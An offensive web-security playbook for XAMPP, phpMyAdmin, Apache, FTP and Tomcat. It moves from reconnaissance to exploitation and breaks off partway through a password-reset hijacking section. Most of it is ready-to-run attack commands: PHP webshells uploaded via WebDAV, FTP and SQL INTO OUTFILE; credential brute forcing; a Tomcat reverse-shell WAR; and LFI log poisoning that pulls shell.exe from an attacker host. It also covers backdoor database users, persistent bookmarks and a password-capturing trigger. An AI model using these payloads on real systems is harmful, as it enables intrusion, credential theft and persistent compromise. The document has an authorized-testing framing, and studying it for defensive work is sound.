XAMPP & PHPMyAdmin

Web Security Research Playbook

Comprehensive Security Testing Guide for XAMPP Services

Author: Andrey Stoykov | **Blog:** https://msecureltd.blogspot.com/

Generated: 2026-01-24 10:37:55

This document contains web security research techniques for AUTHORIZED SECURITY ASSESSMENTS ONLY. Unauthorized access to computer systems violates: 18 U.S.C. § 1030 (CFAA), GDPR Article 82, Computer Misuse Act 1990. You must have explicit written authorization before testing.

■ **For more web security research, visit:**
https://msecureltd.blogspot.com/
Security research focused on web application testing and vulnerability analysis.

Testing Methodology: This playbook follows a structured approach: **1)** Reconnaissance & Information Gathering → **2)** Initial Access Attempts → **3)** Post-Authentication Exploitation. Each scenario includes realistic commands and expected outcomes for professional security assessments.

PHASE 1: RECONNAISSANCE & VULNERABILITY IDENTIFICATION

■ Target: XAMPP Service Discovery

■ XAMPP Dashboard Exposure Detection

Objective: Identify accessible XAMPP dashboard and extract version information

Testing Steps:

[1] Navigate to common XAMPP dashboard paths

[2] Check HTTP response for XAMPP branding and version

[3] Enumerate available documentation and links

[4] Document exact XAMPP version and installation type

Commands:

```
curl -s http://target/dashboard/ | grep -i xampp
```

```
curl -s http://target/xampp/ | grep -i version
```

```
whatweb http://target/dashboard/
```

```
nikto -h http://target/dashboard/
```

Tools: curl, whatweb, nikto, browser
Expected Outcome: XAMPP version identified, available services enumerated

■ Service Port Mapping

Objective: Map all running XAMPP services and their versions

Testing Steps:

[1] Perform full TCP port scan on target

[2] Identify service banners on discovered ports

[3] Version detection for Apache, MySQL, FTP, Tomcat, SMTP

[4] Document service fingerprints for vulnerability research

Commands:

```
nmap -sV -p- target
```

```
nmap -p 21,25,80,443,3306,8080,8009 -sV -sC target
```

```
nc -v target 21
```

```
nc -v target 3306
```

Tools: nmap, netcat, masscan
Expected Outcome: Complete service inventory: Apache 2.4.x, MySQL 8.0.x, FileZilla, Mercury, Tomcat

■ phpinfo() Exposure Scanning

Objective: Locate and analyze phpinfo() pages for configuration disclosure

Testing Steps:

[1] Brute force common phpinfo file locations

[2] Access phpinfo page and extract configuration

[3] Document document_root, loaded extensions, PHP version

[4] Identify security-relevant settings (disable_functions, open_basedir)

[5] Note file upload paths and temporary directories

Commands:

```
curl http://target/dashboard/phpinfo.php
```

```
curl http://target/phpinfo.php | grep -i "document_root\|upload_tmp_dir"
```

```
ffuf -u http://target/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200
```

```
wget http://target/dashboard/phpinfo.php -O phpinfo.html
```

Tools: curl, ffuf, browser
Expected Outcome: PHP configuration exposed, document root: C:/xampp/htdocs/, file_uploads: On

■ XAMPP Backup File Discovery

Objective: Find backup files containing credentials or sensitive configuration

Testing Steps:

[1] Enumerate common backup file extensions

[2] Search for .bak, .old, .backup, .sql files

[3] Check for editor temporary files (~, .swp)

[4] Download discovered backup files

[5] Parse files for hardcoded credentials

Commands:

```
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt -x bak,old,backup,sql
```

```
curl http://target/config.php.bak
```

```
curl http://target/wp-config.php.old
```

```
wget -r http://target/ -A "*.bak,*.old"
```

Tools: gobuster, wget, curl
Expected Outcome: Found config.php.bak with MySQL credentials: root/(blank)

■ XAMPP Log File Exposure

Objective: Identify accessible log files containing sensitive information

Testing Steps:

[1] Check for exposed Apache access/error logs

[2] Test MySQL log file accessibility

[3] Look for PHP error logs

[4] Download and analyze log contents for credentials

[5] Identify log file paths for future log poisoning

Commands:

```
curl http://target/apache/logs/access.log
```
```
curl http://target/apache/logs/error.log
```
```
curl http://target/xampp/apache/logs/access.log
```
```
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/Logins.fuzz.txt
```

Tools: curl, ffuf, browser
Expected Outcome: Apache logs accessible, log path identified for poisoning attacks

■ Git Repository Exposure Detection

Objective: Detect exposed .git directories and extract repository contents

Testing Steps:

[1] Check for .git directory accessibility

[2] Attempt to download .git/config file

[3] Use git-dumper to clone entire repository

[4] Extract commit history and search for credentials

[5] Review source code for hardcoded secrets

Commands:

```
curl http://target/.git/config
```
```
curl http://target/.git/HEAD
```
```
git-dumper http://target/.git/ /tmp/extracted_repo
```
```
cd /tmp/extracted_repo && git log --all
```
```
grep -r "password\|api_key\|secret" /tmp/extracted_repo
```

Tools: curl, git-dumper, git, grep
Expected Outcome: Git repository cloned, database credentials found in old commits

■ Target: PHPMyAdmin Discovery

■ PHPMyAdmin Location Enumeration

Objective: Brute force PHPMyAdmin installation path

Testing Steps:

[1] Test common PHPMyAdmin directory names

[2] Use wordlist-based directory brute forcing

[3] Check for subdomain installations

[4] Verify PHPMyAdmin installation by accessing login page

Commands:

```
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/PHPMyAdmin.fuzz.txt
```
```
ffuf -u http://target/FUZZ -w pma_paths.txt -mc 200,301,302
```
```
curl -I http://target/phpmyadmin/
```
```
curl -I http://target/pma/
```
```
curl -I http://target/admin/
```
```
curl -I http://target/db/
```

Tools: gobuster, ffuf, curl
Expected Outcome: PHPMyAdmin found at http://target/phpmyadmin/

■ PHPMyAdmin Version Detection

Objective: Extract exact PHPMyAdmin version for vulnerability research

Testing Steps:

[1] View HTML source code for version strings

[2] Check JavaScript files for version information

[3] Analyze CSS file paths for version numbers

[4] Extract version from meta tags and comments

[5] Match version to CVE database

Commands:

```
curl -s http://target/phpmyadmin/ | grep -i "pma_version\|phpMyAdmin"
```
```
curl -s http://target/phpmyadmin/index.php | grep -oP "PMA_VERSION.*?[0-9.]+"
```
```
curl http://target/phpmyadmin/js/get_scripts.js.php | grep version
```
```
whatweb -v http://target/phpmyadmin/
```
```
searchsploit phpmyadmin 5.2
```

Tools: curl, grep, whatweb, searchsploit
Expected Outcome: PHPMyAdmin version 5.2.0 identified, CVE-2022-23808 applicable

■ PHPMyAdmin Setup Script Detection

Objective: Identify exposed setup directory for potential exploitation

Testing Steps:

[1] Test for /setup/ directory accessibility

[2] Check if setup script is writable

[3] Enumerate setup script features

[4] Verify if setup allows config file creation

[5] Document writable directories

Commands:

```
curl http://target/phpmyadmin/setup/
```
```
curl -I http://target/phpmyadmin/setup/index.php
```
```
curl -X POST http://target/phpmyadmin/setup/index.php -d "action=test"
```
```
curl http://target/phpmyadmin/config/
```

Tools: curl, browser
Expected Outcome: Setup directory exposed and writable, config file creation possible

■ PHPMyAdmin Configuration File Exposure

Objective: Attempt to download PHPMyAdmin configuration containing credentials

Testing Steps:

[1] Test for config.inc.php accessibility

[2] Check for backup config files

[3] Try common misconfigurations (config.php, config.inc.php.bak)

[4] Download and parse configuration if accessible

[5] Extract database credentials

Commands:

```
curl http://target/phpmyadmin/config.inc.php
```

```
curl http://target/phpmyadmin/config.inc.php.bak
```

```
curl http://target/phpmyadmin/config.php
```

```
curl http://target/phpmyadmin/libraries/config.default.php
```

```
wget http://target/phpmyadmin/config.inc.php
```

Tools: curl, wget, browser
Expected Outcome: config.inc.php.bak downloaded, MySQL credentials extracted

■ PHPMyAdmin CVE Research

Objective: Match discovered version to known vulnerabilities

Testing Steps:

[1] Query CVE databases for PHPMyAdmin version

[2] Check ExploitDB for available exploits

[3] Review GitHub for proof-of-concept code

[4] Analyze PHPMyAdmin security advisories

[5] Document exploitable vulnerabilities

Commands:

```
searchsploit phpmyadmin
```

```
searchsploit phpmyadmin 5.2.0
```

```
curl "https://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1307/"
```

```
msfconsole -q -x "search phpmyadmin"
```

Tools: searchsploit, msfconsole, CVE databases
Expected Outcome: CVE-2022-23808 (XSS) and CVE-2023-25727 (SQLi) identified

■ PHPMyAdmin Authentication Method Detection

Objective: Identify authentication mechanism for targeted attacks

Testing Steps:

[1] Analyze login page HTTP requests

[2] Determine if config, cookie, or http auth is used

[3] Check for CAPTCHA or rate limiting

[4] Test authentication without credentials

[5] Document authentication workflow

Commands:

```
curl -v http://target/phpmyadmin/index.php
```

```
curl -d "pma_username=test&pma;_password=test" http://target/phpmyadmin/index.php
```

```
curl -H "Authorization: Basic dGVzdDp0ZXN0" http://target/phpmyadmin/
```

Tools: curl, Burp Suite, browser DevTools
Expected Outcome: Cookie-based authentication, no CAPTCHA, no rate limiting detected

■ Target: Apache Web Server Analysis

■ Apache Version Detection

Objective: Extract Apache version for vulnerability mapping

Testing Steps:

[1] Capture Server header from HTTP responses

[2] Analyze error pages for version disclosure

[3] Check for server signature in default pages

[4] Match version to known CVEs

Commands:

```
curl -I http://target/ | grep Server
```

```
curl http://target/non-existent-page | grep Apache
```

```
nmap -p 80 --script http-server-header target
```

```
whatweb -v http://target/
```

Tools: curl, nmap, whatweb
Expected Outcome: Apache/2.4.56 (Win64) identified

■ WebDAV Availability Check

Objective: Determine if WebDAV is enabled and test HTTP methods

Testing Steps:

[1] Send OPTIONS request to check allowed methods

[2] Test for PUT, MOVE, COPY, DELETE methods

[3] Identify WebDAV-enabled directories

[4] Check for authentication requirements

[5] Test for unrestricted file upload

Commands:

```
curl -X OPTIONS http://target/ -v
```

```
curl -X OPTIONS http://target/webdav/ -v
```

```
davtest -url http://target/webdav/
```

```
nmap -p 80 --script http-webdav-scan target
```

```
cadaver http://target/webdav/
```

Tools: curl, davtest, nmap, cadaver
Expected Outcome: WebDAV enabled on /webdav/, PUT method allowed without authentication

■ Directory Listing Detection

Objective: Find directories with directory indexing enabled

Testing Steps:

[1] Browse common directories for index listings

[2] Check for "Index of" in HTTP responses

[3] Enumerate files in listed directories

[4] Download sensitive exposed files

[5] Document all accessible files

Commands:

```
curl http://target/ | grep -i "index of"
```

```
curl http://target/uploads/ | grep -i "index of"
```

```
curl http://target/backups/
```

```
wget -r -np http://target/uploads/
```

Tools: curl, wget, browser
Expected Outcome: Directory listing enabled on /uploads/, /backups/, sensitive files exposed

■ Apache Server-Status Exposure

Objective: Access server-status page for information disclosure

Testing Steps:

[1] Check for /server-status path

[2] Access extended server status if available

[3] Extract active connections and requests

[4] Document internal IP addresses and paths

[5] Identify potential sensitive URL parameters

Commands:

```
curl http://target/server-status
```

```
curl http://target/server-status?refresh=5
```

```
curl http://target/server-info
```

Tools: curl, browser
Expected Outcome: Server-status exposed, internal IPs and active requests visible

■ Target: FTP Analysis

■ FTP Banner Grabbing

Objective: Extract FileZilla version from FTP banner

Testing Steps:

[1] Connect to FTP service on port 21

[2] Capture banner information

[3] Identify FileZilla Server version

[4] Research known vulnerabilities for version

Commands:

```
nc -v target 21
ftp target
nmap -p 21 --script ftp-bounce,ftp-anon target
```

Tools: netcat, ftp client, nmap
Expected Outcome: FileZilla Server 1.7.3 identified

■ FTP Anonymous Login Testing

Objective: Test for anonymous FTP access

Testing Steps:

[1] Attempt login with anonymous username

[2] Try various password formats

[3] List accessible directories if successful

[4] Check for write permissions

[5] Document accessible paths

Commands:

```
ftp target
user: anonymous
pass: anonymous@example.com
ls
cd htdocs
nmap --script ftp-anon target -p 21
```

Tools: ftp client, nmap
Expected Outcome: Anonymous access enabled with read/write to htdocs directory

■ Target: Tomcat Analysis

■ Tomcat Version Detection

Objective: Extract Tomcat version from error pages and headers

Testing Steps:

[1] Access Tomcat on port 8080

[2] Generate error page to expose version

[3] Check Server header in responses

[4] Document exact Tomcat version

Commands:

```
curl -I http://target:8080/
curl http://target:8080/non-existent
nmap -p 8080 --script http-server-header target
```

Tools: curl, nmap, browser
Expected Outcome: Apache Tomcat/9.0.65 identified

■ Tomcat Manager Interface Discovery

Objective: Locate Tomcat manager and text interfaces

Testing Steps:

[1] Test common manager paths

[2] Check for /manager/html availability

[3] Test /manager/text interface

[4] Identify authentication requirements

Commands:

```
curl -I http://target:8080/manager/html
```

```
curl -I http://target:8080/manager/text
```

```
curl -I http://target:8080/host-manager/
```

Tools: curl, browser
Expected Outcome: Manager interface found, HTTP Basic authentication required

PHASE 2: INITIAL ACCESS EXPLOITATION

■ Target: PHPMyAdmin Authentication

■ Default Credential Attack

Objective: Attempt login with common XAMPP default credentials

Testing Steps:

[1] Try root with blank password (XAMPP default)

[2] Test root/root combination

[3] Attempt admin/admin

[4] Test pma/pma username

[5] Document successful authentication

Commands:

```
curl -d "pma_username=root&pma;_password=" http://target/phpmyadmin/index.php -c cookies.txt
```

```
curl -d "pma_username=root&pma;_password=root" http://target/phpmyadmin/index.php
```

```
curl -d "pma_username=admin&pma;_password=admin" http://target/phpmyadmin/index.php
```

```
mysql -h target -u root -p
```

Tools: curl, mysql client, browser
Expected Outcome: Successful login with root/(blank password)

■ Credential Brute Force Attack

Objective: Automated brute force attack on PHPMyAdmin login

Testing Steps:

[1] Identify login form parameters

[2] Prepare username and password wordlists

[3] Configure hydra/burp for brute force

[4] Execute attack with rate limiting

[5] Document successful credentials

Commands:

```
hydra -l root -P /usr/share/wordlists/rockyou.txt target http-post-form
"/phpmyadmin/index.php:pma_username=^USER^&pma;_password=^PASS^:F=denied" -t 4
```

```
hydra -L users.txt -P passwords.txt target http-post-form
"/phpmyadmin/index.php:pma_username=^USER^&pma;_password=^PASS^:S=server"
```

```
medusa -h target -U users.txt -P passwords.txt -M web-form -m FORM:"/phpmyadmin/index.php" -t 4
```

Tools: hydra, medusa, burp suite intruder
Expected Outcome: Valid credentials discovered: admin/password123

■ PHPMyAdmin Setup Script Exploitation

Objective: Exploit writable setup directory to create backdoored config

Testing Steps:

[1] Access /phpmyadmin/setup/ directory

[2] Create new server configuration

[3] Inject malicious PHP code into config file

[4] Save configuration to web-accessible location

[5] Access backdoored config file to execute code

Commands:

```
curl http://target/phpmyadmin/setup/
```

```
curl -X POST -d "action=save&Servers;[1][host]=localhost&Servers;[1][auth_type]=config"
http://target/phpmyadmin/setup/index.php
```

```
curl http://target/phpmyadmin/config.inc.php
```

Tools: curl, browser
Expected Outcome: Malicious config created, code execution achieved

■ Config File Credential Extraction

Objective: Download exposed configuration file containing database credentials

Testing Steps:

[1] Attempt to access config.inc.php

[2] Try backup config files (.bak, .old, ~)

[3] Download accessible configuration

[4] Parse file for MySQL credentials

[5] Test extracted credentials

Commands:

```
wget http://target/phpmyadmin/config.inc.php
```

```
wget http://target/phpmyadmin/config.inc.php.bak
```

```
curl http://target/phpmyadmin/config.inc.php.old
```

```
grep -i "password\|user" config.inc.php.bak
```

```
mysql -h target -u extracted_user -pextracted_password
```

Tools: wget, curl, grep, mysql client
Expected Outcome: Config backup found, credentials extracted: root/(blank)

■ PHPMyAdmin CVE Exploitation

Objective: Exploit known CVE vulnerabilities in identified version

Testing Steps:

[1] Research CVEs for detected PHPMyAdmin version

[2] Download exploit code from ExploitDB or GitHub

[3] Modify exploit for target environment

[4] Execute exploit to gain unauthorized access

[5] Verify successful exploitation

Commands:

```
searchsploit -m php/webapps/50457.py
```

```
python3 50457.py --url http://target/phpmyadmin/ --lhost attacker_ip
```

```
msfconsole -x "use exploit/multi/http/phpmyadmin_exec; set RHOSTS target; exploit"
```

Tools: searchsploit, python, metasploit
Expected Outcome: CVE-2022-23808 exploited, arbitrary code execution achieved

■ Target: WebDAV Exploitation

■ WebDAV PUT Method File Upload

Objective: Upload PHP webshell via WebDAV PUT method

Testing Steps:

[1] Verify PUT method is allowed

[2] Craft PHP webshell payload

[3] Upload webshell using PUT request

[4] Access uploaded file via HTTP

[5] Execute commands through webshell

Commands:

```
curl -X PUT -d "<?php system($_GET['cmd']); ?>" http://target/webdav/shell.php
```

```
curl -X PUT --upload-file shell.php http://target/webdav/shell.php
```

```
curl "http://target/webdav/shell.php?cmd=whoami"
```

```
curl "http://target/webdav/shell.php?cmd=dir"
```

Tools: curl, text editor
Expected Outcome: PHP webshell uploaded and accessible, command execution achieved

■ WebDAV MOVE Method Exploitation

Objective: Move uploaded file to executable directory using MOVE method

Testing Steps:

[1] Upload file to WebDAV directory

[2] Use MOVE method to relocate to htdocs

[3] Access moved file in new location

[4] Execute malicious content

Commands:

```
curl -X PUT --upload-file payload.txt http://target/webdav/payload.txt
```

```
curl -X MOVE -H "Destination: http://target/htdocs/shell.php" http://target/webdav/payload.txt
```

```
curl http://target/shell.php?cmd=whoami
```

Tools: curl, cadaver
Expected Outcome: File moved to executable location, code execution successful

■ WebDAV .htaccess Upload

Objective: Upload malicious .htaccess to enable PHP execution in upload directories

Testing Steps:

[1] Create .htaccess file enabling PHP in image directories

[2] Upload .htaccess via WebDAV

[3] Upload PHP file with image extension

[4] Access PHP file to execute code

Commands:

```
echo "AddType application/x-httpd-php .jpg" > .htaccess
curl -X PUT --upload-file .htaccess http://target/webdav/uploads/.htaccess
curl -X PUT --upload-file shell.jpg http://target/webdav/uploads/shell.jpg
curl http://target/uploads/shell.jpg?cmd=whoami
```

Tools: curl, text editor
Expected Outcome: .htaccess uploaded, PHP execution enabled in uploads directory

■ Target: FTP Exploitation

■ FTP Anonymous Upload to htdocs

Objective: Upload webshell via anonymous FTP access

Testing Steps:

[1] Connect to FTP with anonymous credentials

[2] Navigate to htdocs or web-accessible directory

[3] Upload PHP webshell file

[4] Verify upload success

[5] Access webshell via HTTP

Commands:

```
ftp target
user: anonymous
pass: anonymous@example.com
cd htdocs
put shell.php
ls
bye
curl http://target/shell.php?cmd=whoami
```

Tools: ftp client, FileZilla, curl
Expected Outcome: Webshell uploaded via anonymous FTP, command execution successful

■ FTP Credential Brute Force

Objective: Brute force FTP credentials to gain write access

Testing Steps:

[1] Enumerate valid FTP usernames if possible

[2] Prepare password wordlist

[3] Execute automated brute force attack

[4] Test successful credentials

[5] Upload malicious files

Commands:

```
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://target -t 4
```

```
medusa -h target -U users.txt -P passwords.txt -M ftp
```

```
ncrack -U users.txt -P passwords.txt ftp://target
```

Tools: hydra, medusa, ncrack
Expected Outcome: FTP credentials discovered: admin/password, write access gained

■ Target: Tomcat Exploitation

■ Tomcat Manager Default Credentials

Objective: Access Tomcat Manager with default credentials

Testing Steps:

[1] Navigate to Tomcat Manager interface

[2] Test default credential combinations

[3] Gain authenticated access to manager

[4] Prepare for WAR file deployment

Commands:

```
curl -u tomcat:tomcat http://target:8080/manager/html
```

```
curl -u admin:admin http://target:8080/manager/html
```

```
curl -u tomcat:s3cret http://target:8080/manager/html
```

Tools: curl, browser
Expected Outcome: Tomcat Manager accessed with tomcat/s3cret

■ Tomcat WAR File Deployment

Objective: Deploy malicious WAR file for code execution

Testing Steps:

[1] Create JSP webshell

[2] Package webshell into WAR archive

[3] Deploy WAR via Tomcat Manager

[4] Access deployed application

[5] Execute commands via JSP shell

Commands:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker LPORT=4444 -f war > shell.war
```

```
curl -u tomcat:s3cret --upload-file shell.war "http://target:8080/manager/text/deploy?path=/shell"
```

```
curl http://target:8080/shell/
```

```
nc -lvnp 4444
```

Tools: msfvenom, curl, netcat
Expected Outcome: JSP webshell deployed, reverse shell connection established

Target: Web Application Attacks

Local File Inclusion (LFI)

Objective: Read sensitive files via LFI vulnerability

Testing Steps:

[1] Identify parameter vulnerable to file inclusion

[2] Test for directory traversal

[3] Read sensitive configuration files

[4] Extract database credentials

[5] Attempt LFI to RCE via log poisoning

Commands:

```
curl "http://target/index.php?page=../../../../etc/passwd"
```

```
curl "http://target/index.php?page=../../../../xampp/mysql/bin/my.ini"
```

```
curl "http://target/index.php?page=../../../../xampp/htdocs/config.php"
```

```
curl "http://target/index.php?page=php://filter/convert.base64-encode/resource=config.php"
```

Tools: curl, browser
Expected Outcome: LFI confirmed, config.php read, MySQL credentials extracted

LFI to RCE via Log Poisoning

Objective: Achieve remote code execution by poisoning Apache logs

Testing Steps:

[1] Identify LFI vulnerability and log file path

[2] Inject PHP code into User-Agent header

[3] Include poisoned log file via LFI

[4] Execute injected PHP code

[5] Establish webshell or reverse shell

Commands:

```
curl -A "<?php system($_GET['cmd']); ?>" http://target/
```

```
curl "http://target/index.php?page=../../../../xampp/apache/logs/access.log&cmd;=whoami"
```

```
curl "http://target/index.php?page=../../../../xampp/apache/logs/access.log&cmd;=powershell wget
http://attacker/shell.exe"
```

Tools: curl, netcat, msfvenom
Expected Outcome: Log poisoning successful, RCE achieved, reverse shell established

File Upload Vulnerability

Objective: Upload PHP webshell via unrestricted file upload

Testing Steps:

[1] Identify file upload functionality

[2] Test for extension filtering bypass

[3] Upload PHP file with allowed extension

[4] Access uploaded file

[5] Execute commands

Commands:

```
curl -F "file=@shell.php" http://target/upload.php
```

```
curl -F "file=@shell.php.jpg" http://target/upload.php
```

```
curl -F "file=@shell.phtml" http://target/upload.php
```

```
curl http://target/uploads/shell.php?cmd=whoami
```

Tools: curl, Burp Suite
Expected Outcome: PHP file uploaded successfully, command execution achieved

PHASE 3: POST-AUTHENTICATION EXPLOITATION (PHPMYADMIN)

■ Target: PHPMyAdmin GUI-Based File Operations

■ SQL Tab INTO OUTFILE Webshell Creation

Objective: Write PHP webshell to htdocs using SQL interface

Testing Steps:

[1] Login to PHPMyAdmin with valid credentials

[2] Navigate to SQL tab

[3] Identify web root path from phpinfo

[4] Execute SELECT INTO OUTFILE query to write PHP file

[5] Verify file creation and access via HTTP

Commands:

```
-- In PHPMyAdmin SQL tab:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/shell.php";
SELECT "<?php eval($_POST['x']); ?>" INTO OUTFILE "/opt/lampp/htdocs/backdoor.php";

-- Access webshell:
curl http://target/shell.php?cmd=whoami
curl http://target/shell.php?cmd=dir
curl -d "x=system('cat /etc/passwd');" http://target/backdoor.php
```

Tools: PHPMyAdmin web interface, curl
Expected Outcome: PHP webshell written to htdocs, command execution successful

■ SQL Tab INTO DUMPFILE Binary Upload

Objective: Upload binary executables using INTO DUMPFILE

Testing Steps:

[1] Generate binary payload (EXE/DLL)

[2] Convert binary to hex string

[3] Use INTO DUMPFILE to write binary data

[4] Execute uploaded binary directly

[5] Establish persistent access

Commands:

```
-- Generate hex payload:
xxd -p malicious.exe | tr -d "\n" > hex_payload.txt

-- In PHPMyAdmin SQL tab:
SELECT 0x4d5a90000300000004000000ffff0000... INTO DUMPFILE "C:/xampp/htdocs/backdoor.exe";
SELECT BINARY 0x4d5a90... INTO DUMPFILE "/tmp/payload.elf";

-- Execute via webshell:
curl "http://target/shell.php?cmd=C:/xampp/htdocs/backdoor.exe"
```

Tools: PHPMyAdmin, xxd, msfvenom
Expected Outcome: Binary executable uploaded and executed

■ Import Tab Malicious SQL Upload

Objective: Import SQL file containing malicious payloads

Testing Steps:

[1] Create SQL file with INTO OUTFILE statements

[2] Include webshell creation queries

[3] Add backdoor user creation commands

[4] Upload via Import tab in PHPMyAdmin

[5] Execute imported statements

Commands:

```
-- Create malicious.sql file:
echo "SELECT \"<?php system(\$_GET['c']); ?>\" INTO OUTFILE \"C:/xampp/htdocs/import.php\";" >
malicious.sql
echo "CREATE USER 'backdoor'@'%' IDENTIFIED BY 'Pass123!';" >> malicious.sql
echo "GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%';" >> malicious.sql

-- Upload via PHPMyAdmin Import tab
-- Access created shell:
curl http://target/import.php?c=whoami
```

Tools: PHPMyAdmin Import feature, text editor
Expected Outcome: Malicious SQL imported, webshell created, backdoor user added

■ Import Tab ZIP Archive Upload

Objective: Upload compressed archive containing multiple payloads

Testing Steps:

[1] Create multiple SQL files with different payloads

[2] Compress into ZIP archive

[3] Upload ZIP via Import tab

[4] PHPMyAdmin auto-extracts and executes SQL files

[5] Verify all payloads deployed successfully

Commands:

```
-- Create payload files:
echo "SELECT \"<?php system(\$_GET['x']); ?>\" INTO OUTFILE \"C:/xampp/htdocs/s1.php\";" >
payload1.sql
echo "SELECT \"<?php eval(\$_POST['y']); ?>\" INTO OUTFILE \"C:/xampp/htdocs/s2.php\";" >
payload2.sql

-- Compress:
zip payloads.zip payload1.sql payload2.sql

-- Upload via PHPMyAdmin Import tab
-- Test shells:
curl http://target/s1.php?x=whoami
curl -d "y=phpinfo();" http://target/s2.php
```

Tools: PHPMyAdmin, zip utility
Expected Outcome: Multiple webshells deployed via ZIP upload

■ Export Tab Code Injection

Objective: Inject PHP code during database export operation

Testing Steps:

[1] Navigate to Export tab in PHPMyAdmin

[2] Select Custom export method

[3] Modify export template to include PHP code

[4] Export to web-accessible location

[5] Access exported file to execute code

Commands:

```
-- In PHPMyAdmin Export tab:
-- Set output filename: C:/xampp/htdocs/export.php
-- Add to export template header:
<?php system($_GET["cmd"]); ?>

-- Access:
curl http://target/export.php?cmd=whoami
```

Tools: PHPMyAdmin Export feature
Expected Outcome: PHP code injected in export file, command execution achieved

■ User Management Privilege Escalation

Objective: Create new MySQL super user via PHPMyAdmin GUI

Testing Steps:

[1] Navigate to User Accounts tab

[2] Click "Add user account"

[3] Create user with superuser privileges

[4] Enable login from any host (%)

[5] Grant ALL PRIVILEGES with GRANT OPTION

[6] Test new backdoor account

Commands:

```
-- Via PHPMyAdmin User Accounts tab:
-- Username: support_admin
-- Host: %
-- Password: SecurePass2024!
-- Global privileges: Check ALL
-- GRANT option: Checked

-- Test from external:
mysql -h target -u support_admin -pSecurePass2024!
mysql -h target -u support_admin -pSecurePass2024! -e "SHOW DATABASES;"
```

Tools: PHPMyAdmin User Accounts interface
Expected Outcome: Backdoor MySQL user created with full privileges

■ Global Privileges Modification

Objective: Grant FILE and SUPER privileges to compromised user

Testing Steps:

[1] Access User Accounts tab

[2] Edit existing low-privilege user

[3] Grant FILE privilege for file operations

[4] Grant SUPER privilege for administrative tasks

[5] Save changes and test new capabilities

Commands:

```
-- Via PHPMyAdmin User Accounts interface:
-- Edit user "webuser"
-- Global privileges: Check FILE, SUPER, PROCESS
-- Save

-- Test FILE privilege:
mysql -h target -u webuser -p
SELECT LOAD_FILE("/etc/passwd");
SELECT "test" INTO OUTFILE "/tmp/test.txt";
```

Tools: PHPMyAdmin User Accounts
Expected Outcome: User privileges escalated, file read/write enabled

■ Database Operations - Copy to Web Root

Objective: Copy entire database to web-accessible directory

Testing Steps:

[1] Select target database

[2] Navigate to Operations tab

[3] Use "Copy database to" feature

[4] Set destination to htdocs path

[5] Access database files via HTTP

Commands:

```
-- Via PHPMyAdmin Operations tab:
-- Database: production_db
-- Copy to: C:/xampp/htdocs/db_backup
-- Options: Structure and data

-- Download via HTTP:
wget -r http://target/db_backup/
curl http://target/db_backup/users.MYD
```

Tools: PHPMyAdmin Operations tab, wget
Expected Outcome: Complete database copied to web root, accessible via HTTP

■ BLOB Field Binary Injection

Objective: Insert executable files into BLOB columns

Testing Steps:

[1] Create or select table with BLOB column

[2] Navigate to Insert tab

[3] Upload binary file (EXE, DLL, script)

[4] Insert into BLOB field

[5] Extract binary via SELECT and execute

Commands:

```
-- Via PHPMyAdmin Insert tab:
-- Table: files
-- Column: file_data (BLOB)
-- Function: Upload
-- Select malicious.exe

-- Extract binary:
SELECT file_data FROM files WHERE id=1 INTO DUMPFILE "C:/xampp/htdocs/extracted.exe";

-- Execute via webshell:
curl "http://target/shell.php?cmd=C:/xampp/htdocs/extracted.exe"
```

Tools: PHPMyAdmin Insert interface
Expected Outcome: Binary executable stored in database, extracted and executed

■ SQL Bookmark Persistent Backdoor

Objective: Save malicious queries as bookmarks for persistent access

Testing Steps:

[1] Execute malicious SQL query in SQL tab

[2] Click "Bookmark this SQL query"

[3] Save with innocuous label

[4] Query executes whenever bookmark is loaded

[5] Use for recurring webshell recreation

Commands:

```
-- In PHPMyAdmin SQL tab:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/bm.php";

-- Bookmark as: "Database Maintenance Query"
-- Load bookmark periodically to recreate shell

-- Access shell:
curl http://target/bm.php?cmd=whoami
```

Tools: PHPMyAdmin Bookmark feature
Expected Outcome: Persistent bookmark created, webshell can be recreated anytime

■ Designer Tab Visual Schema Manipulation

Objective: Use visual designer to modify database structure

Testing Steps:

[1] Access Designer tab in PHPMyAdmin

[2] Visually modify table relationships

[3] Add triggers or stored procedures via GUI

[4] Create new tables for data exfiltration

[5] Export modified schema

Commands:

```
-- Via PHPMyAdmin Designer tab:
-- Create new table: exfil_data
-- Add columns: username, password, timestamp
-- Create trigger on users table:
CREATE TRIGGER log_passwords AFTER INSERT ON users
FOR EACH ROW INSERT INTO exfil_data VALUES (NEW.username, NEW.password, NOW());
```

Tools: PHPMyAdmin Designer interface
Expected Outcome: Trigger created to log all new passwords

■ Tracking Tab Change Log Harvesting

Objective: Extract database modification history for sensitive data

Testing Steps:

[1] Navigate to Tracking tab

[2] Enable tracking on sensitive tables

[3] Review historical changes

[4] Extract deleted or modified data

[5] Export tracking data for analysis

Commands:

```
-- Via PHPMyAdmin Tracking tab:
-- Table: users
-- Enable tracking
-- View report

-- Query tracking data:
SELECT * FROM pma__tracking WHERE db_name="database" AND table_name="users";

-- Export tracking log:
SELECT * FROM pma__tracking INTO OUTFILE "C:/xampp/htdocs/track.csv";
```

Tools: PHPMyAdmin Tracking feature
Expected Outcome: Historical password changes recovered from tracking log

■ Search Tab Mass Data Extraction

Objective: Use search feature to find and export sensitive data

Testing Steps:

[1] Navigate to Search tab in database

[2] Search for keywords: password, credit, ssn, api_key

[3] Search across all tables

[4] Export matching results

[5] Download sensitive data

Commands:

```
-- Via PHPMyAdmin Search tab:
-- Database: all_databases
-- Search term: "password"
-- Search in: All tables, all columns
-- Export results

-- Results show all columns containing "password"
-- Export as CSV for offline analysis
```

Tools: PHPMyAdmin Search feature
Expected Outcome: Found 45 tables with password columns, all credentials extracted

■ Search/Replace Bulk Data Modification

Objective: Use find/replace to modify data across database

Testing Steps:

[1] Access Search and replace feature

[2] Find all instances of legitimate email addresses

[3] Replace with attacker-controlled email

[4] Execute bulk modification

[5] Hijack password reset emails

Commands:

```
-- Via PHPMyAdmin Find and Replace:
-- Database: wordpress
-- Table: wp_users
-- Find: admin@company.com
